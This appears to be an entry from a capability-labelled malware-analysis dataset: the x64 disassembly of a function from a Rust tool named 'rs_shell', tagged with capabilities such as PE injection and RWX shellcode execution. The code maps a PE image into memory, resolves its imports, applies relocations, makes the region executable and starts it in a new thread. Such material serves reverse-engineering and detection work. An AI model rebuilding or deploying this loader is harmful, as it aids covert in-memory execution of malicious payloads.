Function at 0x14001e990
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject pe
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x318
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x280], xmm6
mov qword [rbp + 0x278], 0xfffffffffffffffe
lea rdx, [0x1401cdabd]
mov r8d, 6
mov qword [rbp + 0x1f8], rcx
call fcn.140034a30
mov rdi, rax
lea rdx, [0x1401cdac3]
mov r8d, 5
mov rcx, qword [rbp + 0x1f8]
call fcn.140034a30
mov qword [rbp + 0x148], rax
test rdi, rdi
je 0x14001f0a2
cmp qword [rbp + 0x148], 0
je 0x14001f0a2
xor ecx, ecx
mov rdx, qword [rbp + 0x148]
mov r8d, 0x1000
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x268], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, qword [rbp + 0x1f8]
mov r8, qword [rcx + 8]
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, qword [rbp + 0x268]
mov r9, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xorps xmm0, xmm0
movaps xmmword [rbp + 0xf0], xmm0
movaps xmmword [rbp + 0xe0], xmm0
movaps xmmword [rbp + 0xd0], xmm0
movaps xmmword [rbp + 0xc0], xmm0
mov rax, qword [rbp + 0x1f8]
mov rsi, qword [rax + 8]
mov qword [rbp - 0x48], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rbx, [rbp - 0x48]
mov qword [rsp + 0x20], rbx
lea rdi, [rbp + 0xc0]
mov r9d, 0x40
mov rcx, rax
mov rdx, rdi
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [str.P__]
mov rax, qword [rax]
cmp rax, 4
jb 0x14001eb7a
mov qword [rbp + 0x230], rdi
lea rax, [0x14003e070]
mov qword [rbp + 0x238], rax
mov qword [rbp - 0x48], 2
mov qword [rbp - 0x38], 2
mov qword [rbp - 0x28], 0
movabs rax, 0x1000000020
mov qword [rbp - 0x20], rax
mov byte [rbp - 0x18], 3
lea rax, [0x1401cdaf8]
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], 1
mov qword [rbp + 0x1a0], rbx
mov qword [rbp + 0x1a8], 1
lea rax, [rbp + 0x230]
mov qword [rbp + 0x190], rax
mov qword [rbp + 0x198], 1
mov qword [rsp + 0x20], 0
lea r8, str.rs_shell::loadersrcloader.rs
lea rcx, [rbp + 0x180]
mov edx, 4
mov r9d, 0x34
call fcn.140049040
mov rax, qword [str.P__]
mov rax, qword [rax]
cmp rax, 4
jb 0x14001ec3f
lea rax, [rbp + 0xfc]
mov qword [rbp + 0x230], rax
lea rax, [0x140001120]
mov qword [rbp + 0x238], rax
mov qword [rbp - 0x48], 2
mov qword [rbp - 0x38], 2
mov qword [rbp - 0x28], 0
movabs rax, 0x1000000020
mov qword [rbp - 0x20], rax
mov byte [rbp - 0x18], 3
lea rax, str.Elfa_new__address_of_the_begining_of_the_PE_:
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], 1
mov qword [rbp + 0x1a0], rbx
mov qword [rbp + 0x1a8], 1
lea rax, [rbp + 0x230]
mov qword [rbp + 0x190], rax
mov qword [rbp + 0x198], 1
mov qword [rsp + 0x20], 0
lea r8, str.rs_shell::loadersrcloader.rs
lea rcx, [rbp + 0x180]
mov edx, 4
mov r9d, 0x35
call fcn.140049040
lea rcx, [rbp - 0x48]
mov r8d, 0x108
xor edx, edx
call fcn.1401bf7e0
movsxd rsi, dword [rbp + 0xfc]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
add rsi, qword [rbp + 0x268]
lea rdi, [rbp - 0x48]
mov rcx, rdi
mov rdx, rsi
mov r8, rax
xor r9d, r9d
call fcn.140033e10
mov rax, qword [str.P__]
mov rax, qword [rax]
cmp rax, 4
jb 0x14001ed4d
mov qword [rbp + 0x200], rdi
lea rax, [0x1400228a0]
mov qword [rbp + 0x208], rax
mov qword [rbp + 0x180], 2
mov qword [rbp + 0x190], 2
mov qword [rbp + 0x1a0], 0
movabs rax, 0x1400000020
mov qword [rbp + 0x1a8], rax
mov byte [rbp + 0x1b0], 3
lea rax, str.NT_headers_:
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x238], 1
lea rax, [rbp + 0x180]
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x258], 1
lea rax, [rbp + 0x200]
mov qword [rbp + 0x240], rax
mov qword [rbp + 0x248], 1
mov qword [rsp + 0x20], 0
lea r8, str.rs_shell::loadersrcloader.rs
lea rcx, [rbp + 0x230]
mov edx, 4
mov r9d, 0x43
call fcn.140049040
xorps xmm0, xmm0
movaps xmmword [rbp + 0x190], xmm0
movaps xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x1a0], 0
movzx r8d, word [rbp - 0x42]
lea rcx, [rbp + 0x108]
lea rbx, [rbp + 0x180]
mov rdx, rbx
call fcn.14003e1f0
mov rax, qword [rbp + 0x110]
mov qword [rbp + 0x178], rax
mov rax, qword [rbp + 0x118]
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x268]
add rax, 0x108
mov qword [rbp + 0x128], rax
mov r13, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edi, edi
nop dword [rax]
cmp rdi, qword [rbp + 0x120]
jae 0x14001f0e0
movsxd rsi, dword [rbp + 0xfc]
call r13
lea rcx, [rdi*8]
lea r14, [rcx + rcx*4]
mov rcx, qword [rbp + 0x128]
add rcx, r14
add rsi, rcx
add r14, qword [rbp + 0x178]
mov rcx, r14
mov rdx, rsi
mov r8, rax
xor r9d, r9d
call fcn.140034000
mov rax, qword [str.P__]
mov rax, qword [rax]
cmp rax, 4
jb 0x14001efc4
movzx eax, byte [0x1402a2221]
mov ecx, 8
mov edx, 1
call fcn.1400402e0
test rax, rax
je 0x14001fe12
mov rcx, qword [r14]
mov qword [rax], rcx
mov qword [rbp + 0x150], 8
mov qword [rbp + 0x260], rax
mov qword [rbp + 0x158], rax
mov qword [rbp + 0x160], 8
lea rsi, [rbp + 0x130]
mov rcx, rsi
lea rdx, [rbp + 0x150]
call fcn.140035090
lea rax, [rdi + rdi*4]
mov rcx, qword [rbp + 0x178]
lea rax, [rcx + rax*8]
add rax, 0xc
mov qword [rbp + 0x200], rsi
lea rcx, [0x140001390]
mov qword [rbp + 0x208], rcx
mov qword [rbp + 0x210], rax
lea rax, [0x140001180]
mov qword [rbp + 0x218], rax
mov qword [rbp + 0x180], 2
mov qword [rbp + 0x190], 2
mov qword [rbp + 0x1a0], 0
mov qword [rbp + 0x1a8], 0x20
mov byte [rbp + 0x1b0], 3
mov qword [rbp + 0x1b8], 2
mov qword [rbp + 0x1c8], 2
mov qword [rbp + 0x1d8], 1
movabs rax, 0x1400000020
mov qword [rbp + 0x1e0], rax
mov byte [rbp + 0x1e8], 3
lea rax, str.Virtual_addresses_of_sections__is
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x238], 2
mov qword [rbp + 0x250], rbx
mov qword [rbp + 0x258], 2
lea rax, [rbp + 0x200]
mov qword [rbp + 0x240], rax
mov qword [rbp + 0x248], 2
mov qword [rsp + 0x20], 0
mov edx, 4
lea rcx, [rbp + 0x230]
lea r8, str.rs_shell::loadersrcloader.rs
mov r9d, 0x53
call fcn.140049040
mov rdx, qword [rbp + 0x130]
test rdx, rdx
je 0x14001efad
mov rcx, qword [rbp + 0x138]
mov r8d, 1
call fcn.1400402f0
mov edx, 8
mov r8d, 1
mov rcx, qword [rbp + 0x260]
call fcn.1400402f0
lea rsi, [rdi + rdi*4]
mov rax, qword [rbp + 0x178]
mov r12d, dword [rax + rsi*8 + 0x10]
mov r15d, dword [rax + rsi*8 + 0x14]
lea rcx, [r12 + r15]
mov rax, qword [rbp + 0x1f8]
mov rdx, qword [rax + 0x10]
cmp rcx, rdx
ja 0x14001fdf5
mov r14, qword [rax + 8]
test r12d, r12d
je 0x14001f020
movzx eax, byte [0x1402a2221]
mov edx, 1
mov rcx, r12
call fcn.1400402e0
test rax, rax
jne 0x14001f025
jmp 0x14001fe03
mov eax, 1
mov qword [rbp + 0x220], rax
mov qword [rbp + 0x260], r12
add r14, r15
mov rcx, rax
mov rdx, r14
mov r8, r12
call fcn.1401bf140
call r13
mov rcx, qword [rbp + 0x178]
mov edx, dword [rcx + rsi*8 + 0xc]
add rdx, qword [rbp + 0x268]
mov qword [rsp + 0x20], 0
mov rcx, rax
mov r8, qword [rbp + 0x220]
mov r9, qword [rbp + 0x260]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [rbp + 0x220]
inc rdi
mov rdx, qword [rbp + 0x260]
test edx, edx
je 0x14001edc0
mov r8d, 1
call fcn.1400402f0
jmp 0x14001edc0
lea rcx, [0x1401cdac8]
mov edx, 0x19
call fcn.1401b39a0
mov rsi, rax
mov rdi, rdx
mov rax, qword [rbp + 0x1f8]
mov rdx, qword [rax]
test rdx, rdx
je 0x14001fdb5
mov rcx, qword [rax + 8]
mov r8d, 1
call fcn.1400402f0
jmp 0x14001fdb5
mov rax, qword [str.P__]
mov rax, qword [rax]
cmp rax, 4
jb 0x14001f16d
lea rax, [rbp - 0x30]
mov qword [rbp + 0x230], rax
lea rax, [0x140022320]
mov qword [rbp + 0x238], rax
lea rax, [0x1401cdbb8]
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], 1
mov qword [rbp + 0x1a0], 0
lea rax, [rbp + 0x230]
mov qword [rbp + 0x190], rax
mov qword [rbp + 0x198], 1
mov qword [rsp + 0x20], 0
lea r8, str.rs_shell::loadersrcloader.rs
lea rcx, [rbp + 0x180]
mov edx, 4
mov r9d, 0x68
call fcn.140049040
cmp dword [rbp + 0x4c], 0
je 0x14001f607
mov esi, dword [rbp + 0x48]
mov rax, qword [rbp + 0x268]
add rsi, rax
lea r15, [rax + 2]
xorps xmm6, xmm6
jmp 0x14001f194
add rsi, 0x14
movaps xmmword [rbp + 0x150], xmm6
mov dword [rbp + 0x160], 0
call r13
lea rcx, [rbp + 0x150]
mov rdx, rsi
mov r8, rax
xor r9d, r9d
call fcn.1400341f0
mov r14d, dword [rbp + 0x15c]
mov eax, dword [rbp + 0x160]
or eax, r14d
je 0x14001f59f
call r13
add r14, qword [rbp + 0x268]
lea rcx, [rbp + 0x200]
mov rdx, r14
mov r8, rax
xor r9d, r9d
call fcn.140034530
mov qword [rbp + 0x220], rsi
mov rcx, qword [rbp + 0x208]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r12, rax
mov rax, qword [str.P__]
mov rax, qword [rax]
cmp rax, 4
jb 0x14001f295
lea rax, [rbp + 0x200]
mov qword [rbp + 0x230], rax
lea rax, [0x140001390]
mov qword [rbp + 0x238], rax
lea rax, str.Import_DLL_name_:
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], 1
mov qword [rbp + 0x1a0], 0
lea rax, [rbp + 0x230]
mov qword [rbp + 0x190], rax
mov qword [rbp + 0x198], 1
mov qword [rsp + 0x20], 0
mov edx, 4
mov rcx, rbx
lea r8, str.rs_shell::loadersrcloader.rs
mov r9d, 0x81
call fcn.140049040
mov r14d, dword [rbp + 0x150]
add r14, qword [rbp + 0x268]
xor edi, edi
jmp 0x14001f2b7
add r14, 8
inc rdi
mov qword [rbp + 0x228], 0
call r13
mov rsi, rax
mov ecx, 8
mov edx, 1
call fcn.140040310
test rax, rax
je 0x14001fdd6
mov qword [rsp + 0x20], 0
mov r9d, 8
mov rcx, rsi
mov rdx, r14
mov qword [rbp + 0x260], rax
mov r8, rax
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov qword [rbp + 0x180], 0
call r13
mov qword [rsp + 0x20], rbx
mov r9d, 8
mov rcx, rax
lea rdx, [rbp + 0x228]
mov r8, qword [rbp + 0x260]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, 8
mov r8d, 1
mov rcx, qword [rbp + 0x260]
call fcn.1400402f0
mov rax, qword [str.P__]
mov rax, qword [rax]
cmp rax, 4
jb 0x14001f3d8
lea rax, [rbp + 0x228]
mov qword [rbp + 0x230], rax
lea rax, [0x140022950]
mov qword [rbp + 0x238], rax
lea rax, [0x1401cdbb8]
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], 1
mov qword [rbp + 0x1a0], 0
lea rax, [rbp + 0x230]
mov qword [rbp + 0x190], rax
mov qword [rbp + 0x198], 1
mov qword [rsp + 0x20], 0
mov edx, 4
mov rcx, rbx
lea r8, str.rs_shell::loadersrcloader.rs
mov r9d, 0x91
call fcn.140049040
mov rsi, qword [rbp + 0x228]
test rsi, rsi
je 0x14001f510
call r13
add rsi, r15
lea rcx, [rbp + 0x230]
mov rdx, rsi
mov r8, rax
xor r9d, r9d
call fcn.140034530
mov rax, qword [str.P__]
mov rax, qword [rax]
cmp rax, 4
jb 0x14001f48f
lea rax, [rbp + 0x230]
mov qword [rbp + 0x130], rax
lea rax, [0x140001390]
mov qword [rbp + 0x138], rax
lea rax, str.Function_:
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], 1
mov qword [rbp + 0x1a0], 0
lea rax, [rbp + 0x130]
mov qword [rbp + 0x190], rax
mov qword [rbp + 0x198], 1
mov qword [rsp + 0x20], 0
mov edx, 4
mov rcx, rbx
lea r8, str.rs_shell::loadersrcloader.rs
mov r9d, 0xa0
call fcn.140049040
mov rdx, qword [rbp + 0x238]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14001fde7
mov qword [rbp + 0x180], rax
call r13
mov ecx, dword [rbp + 0x160]
mov rdx, qword [rbp + 0x268]
lea rdx, [rdx + rdi*8]
add rdx, rcx
mov qword [rsp + 0x20], 0
mov r9d, 8
mov rcx, rax
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [rbp + 0x230]
test rdx, rdx
je 0x14001f2b0
mov rcx, qword [rbp + 0x238]
mov r8d, 1
call fcn.1400402f0
jmp 0x14001f2b0
mov rax, qword [str.P__]
mov rax, qword [rax]
cmp rax, 4
jb 0x14001f571
lea rax, str.No_more_data
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], 1
lea rax, [0x1401cda98]
mov qword [rbp + 0x190], rax
movups xmmword [rbp + 0x198], xmm6
mov qword [rsp + 0x20], 0
mov edx, 4
mov rcx, rbx
lea r8, str.rs_shell::loadersrcloader.rs
mov r9d, 0x96
call fcn.140049040
mov rdx, qword [rbp + 0x200]
test rdx, rdx
mov rsi, qword [rbp + 0x220]
je 0x14001f190
mov rcx, qword [rbp + 0x208]
mov r8d, 1
call fcn.1400402f0
jmp 0x14001f190
mov rax, qword [str.P__]
mov rax, qword [rax]
cmp rax, 4
jb 0x14001f607
lea rax, str.No_more_import
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], 1
lea rax, [0x1401cda98]
mov qword [rbp + 0x190], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x198], xmm0
mov qword [rsp + 0x20], 0
lea r8, str.rs_shell::loadersrcloader.rs
lea rcx, [rbp + 0x180]
mov edx, 4
mov r9d, 0x77
call fcn.140049040
cmp dword [rbp + 0x6c], 0
je 0x14001fcf1
mov rax, qword [rbp + 0x268]
mov rcx, rax
sub rcx, qword [rbp - 0x18]
mov qword [rbp + 0x260], rcx
mov ecx, dword [rbp + 0x68]
add rcx, rax
mov qword [rbp + 0x220], rcx
jmp 0x14001f64d
mov eax, dword [rbp + 0x22c]
add qword [rbp + 0x220], rax
mov qword [rbp + 0x228], 0
call r13
lea rcx, [rbp + 0x228]
mov rdx, qword [rbp + 0x220]
mov r8, rax
xor r9d, r9d
call fcn.140033c20
cmp dword [rbp + 0x22c], 0
mov rax, qword [str.P__]
mov rax, qword [rax]
je 0x14001fc93
cmp rax, 4
jb 0x14001f755
lea rax, [rbp + 0x22c]
mov qword [rbp + 0x200], rax
lea rax, [0x140001180]
mov qword [rbp + 0x208], rax
mov qword [rbp + 0x180], 2
mov qword [rbp + 0x190], 2
mov qword [rbp + 0x1a0], 0
movabs rax, 0x1000000020
mov qword [rbp + 0x1a8], rax
mov byte [rbp + 0x1b0], 3
lea rax, str.Size_of_block_:
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x238], 1
mov qword [rbp + 0x250], rbx
mov qword [rbp + 0x258], 1
lea rax, [rbp + 0x200]
mov qword [rbp + 0x240], rax
mov qword [rbp + 0x248], 1
mov qword [rsp + 0x20], 0
mov edx, 4
lea rcx, [rbp + 0x230]
lea r8, str.rs_shell::loadersrcloader.rs
mov r9d, 0xd3
call fcn.140049040
mov rax, qword [str.P__]
mov rax, qword [rax]
cmp rax, 4
jb 0x14001f829
lea rax, [rbp + 0x228]
mov qword [rbp + 0x200], rax
lea rax, [0x140001180]
mov qword [rbp + 0x208], rax
mov qword [rbp + 0x180], 2
mov qword [rbp + 0x190], 2
mov qword [rbp + 0x1a0], 0
movabs rax, 0x1000000020
mov qword [rbp + 0x1a8], rax
mov byte [rbp + 0x1b0], 3
lea rax, str.Virtual_addr_:
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x238], 1
mov qword [rbp + 0x250], rbx
mov qword [rbp + 0x258], 1
lea rax, [rbp + 0x200]
mov qword [rbp + 0x240], rax
mov qword [rbp + 0x248], 1
mov qword [rsp + 0x20], 0
mov edx, 4
lea rcx, [rbp + 0x230]
lea r8, str.rs_shell::loadersrcloader.rs
mov r9d, 0xd4
call fcn.140049040
mov r12d, dword [rbp + 0x22c]
add r12d, 0xfffffff8
shr r12d, 1
mov dword [rbp + 0x174], r12d
mov rax, qword [str.P__]
mov rax, qword [rax]
cmp rax, 4
jb 0x14001f919
lea rax, [rbp + 0x174]
mov qword [rbp + 0x200], rax
lea rax, [0x140001180]
mov qword [rbp + 0x208], rax
mov qword [rbp + 0x180], 2
mov qword [rbp + 0x190], 2
mov qword [rbp + 0x1a0], 0
movabs rax, 0x1000000020
mov qword [rbp + 0x1a8], rax
mov byte [rbp + 0x1b0], 3
lea rax, str.Entries_:
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x238], 1
mov qword [rbp + 0x250], rbx
mov qword [rbp + 0x258], 1
lea rax, [rbp + 0x200]
mov qword [rbp + 0x240], rax
mov qword [rbp + 0x248], 1
mov qword [rsp + 0x20], 0
mov edx, 4
lea rcx, [rbp + 0x230]
lea r8, str.rs_shell::loadersrcloader.rs
mov r9d, 0xd8
call fcn.140049040
mov r12d, dword [rbp + 0x174]
mov rax, qword [rbp + 0x220]
lea rsi, [rax + 8]
xor r15d, r15d
jmp 0x14001f933
inc r15d
cmp r15d, r12d
jae 0x14001f640
mov word [rbp + 0x276], 0
call r13
lea edx, [r15 + r15]
add rdx, rsi
mov qword [rsp + 0x20], 0
mov r9d, 2
mov rcx, rax
lea r8, [rbp + 0x276]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [str.P__]
mov rax, qword [rax]
cmp rax, 4
jb 0x14001fa42
lea rax, [rbp + 0x276]
mov qword [rbp + 0x200], rax
lea rax, [0x14003e070]
mov qword [rbp + 0x208], rax
mov qword [rbp + 0x180], 2
mov qword [rbp + 0x190], 2
mov qword [rbp + 0x1a0], 0
movabs rax, 0x1000000020
mov qword [rbp + 0x1a8], rax
mov byte [rbp + 0x1b0], 3
lea rax, str.Offset_:
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x238], 1
mov qword [rbp + 0x250], rbx
mov qword [rbp + 0x258], 1
lea rax, [rbp + 0x200]
mov qword [rbp + 0x240], rax
mov qword [rbp + 0x248], 1
mov qword [rsp + 0x20], 0
mov edx, 4
lea rcx, [rbp + 0x230]
lea r8, str.rs_shell::loadersrcloader.rs
mov r9d, 0xe4
call fcn.140049040
movzx edi, word [rbp + 0x276]
mov eax, edi
and eax, 0xf000
cmp eax, 0xa000
jne 0x14001f930
mov r14d, dword [rbp + 0x228]
mov qword [rbp + 0x130], 0
call r13
and edi, 0xfff
add r14, qword [rbp + 0x268]
add r14, rdi
mov qword [rsp + 0x20], 0
mov r9d, 8
mov rcx, rax
mov rdx, r14
lea r8, [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rax, qword [str.P__]
mov rax, qword [rax]
cmp rax, 4
jb 0x14001fb76
lea rax, [rbp + 0x130]
mov qword [rbp + 0x200], rax
lea rax, [0x14003e0e0]
mov qword [rbp + 0x208], rax
mov qword [rbp + 0x180], 2
mov qword [rbp + 0x190], 2
mov qword [rbp + 0x1a0], 0
movabs rax, 0x1000000020
mov qword [rbp + 0x1a8], rax
mov byte [rbp + 0x1b0], 3
lea rax, str.Harcoded_value_at_RVA_:
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x238], 1
mov qword [rbp + 0x250], rbx
mov qword [rbp + 0x258], 1
lea rax, [rbp + 0x200]
mov qword [rbp + 0x240], rax
mov qword [rbp + 0x248], 1
mov qword [rsp + 0x20], 0
mov edx, 4
lea rcx, [rbp + 0x230]
lea r8, str.rs_shell::loadersrcloader.rs
mov r9d, 0xfa
call fcn.140049040
mov rax, qword [rbp + 0x130]
add rax, qword [rbp + 0x260]
mov qword [rbp + 0x150], rax
mov rax, qword [str.P__]
mov rax, qword [rax]
cmp rax, 4
jb 0x14001fc5f
lea rax, [rbp + 0x150]
mov qword [rbp + 0x200], rax
lea rax, [0x140001140]
mov qword [rbp + 0x208], rax
mov qword [rbp + 0x180], 2
mov qword [rbp + 0x190], 2
mov qword [rbp + 0x1a0], 0
movabs rax, 0x1000000020
mov qword [rbp + 0x1a8], rax
mov byte [rbp + 0x1b0], 3
lea rax, [0x1401cdbb8]
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x238], 1
mov qword [rbp + 0x250], rbx
mov qword [rbp + 0x258], 1
lea rax, [rbp + 0x200]
mov qword [rbp + 0x240], rax
mov qword [rbp + 0x248], 1
mov qword [rsp + 0x20], 0
mov edx, 4
lea rcx, [rbp + 0x230]
lea r8, str.rs_shell::loadersrcloader.rs
mov r9d, 0xff
call fcn.140049040
call r13
mov rcx, qword [rbp + 0x150]
mov qword [rbp + 0x180], rcx
mov qword [rsp + 0x20], 0
mov r9d, 8
mov rcx, rax
mov rdx, r14
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x14001f930
cmp rax, 4
jb 0x14001fcf1
lea rax, str.No_more_relocation
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], 1
lea rax, [0x1401cda98]
mov qword [rbp + 0x190], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x198], xmm0
mov qword [rsp + 0x20], 0
lea r8, str.rs_shell::loadersrcloader.rs
lea rcx, [rbp + 0x180]
mov edx, 4
mov r9d, 0xd0
call fcn.140049040
mov dword [rbp + 0x180], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x20], rbx
mov rcx, rax
mov rdx, qword [rbp + 0x268]
mov r8, qword [rbp + 0x148]
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov r8d, dword [rbp - 0x20]
add r8, qword [rbp + 0x268]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0x2710
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x268]
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rax, qword [rbp + 0x108]
test rax, rax
je 0x14001fd95
shl rax, 3
lea rdx, [rax + rax*4]
mov r8d, 4
mov rcx, qword [rbp + 0x178]
call fcn.1400402f0
mov rax, qword [rbp + 0x1f8]
mov rdx, qword [rax]
test rdx, rdx
je 0x14001fdb3
mov rcx, qword [rax + 8]
mov r8d, 1
call fcn.1400402f0
xor esi, esi
mov rax, rsi
mov rdx, rdi
movaps xmm6, xmmword [rbp + 0x280]
add rsp, 0x318
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov ecx, 1
mov edx, 8
call fcn.1401c87b0
jmp 0x14001fe21
lea rcx, [0x1401cdd00]
call fcn.1401c8a10
jmp 0x14001fe21
lea r8, [0x1401cdd80]
call fcn.1401c9000
jmp 0x14001fe21
mov ecx, 1
mov rdx, r12
call fcn.1401c87b0
jmp 0x14001fe21
mov ecx, 1
mov edx, 8
call fcn.1401c87b0
ud2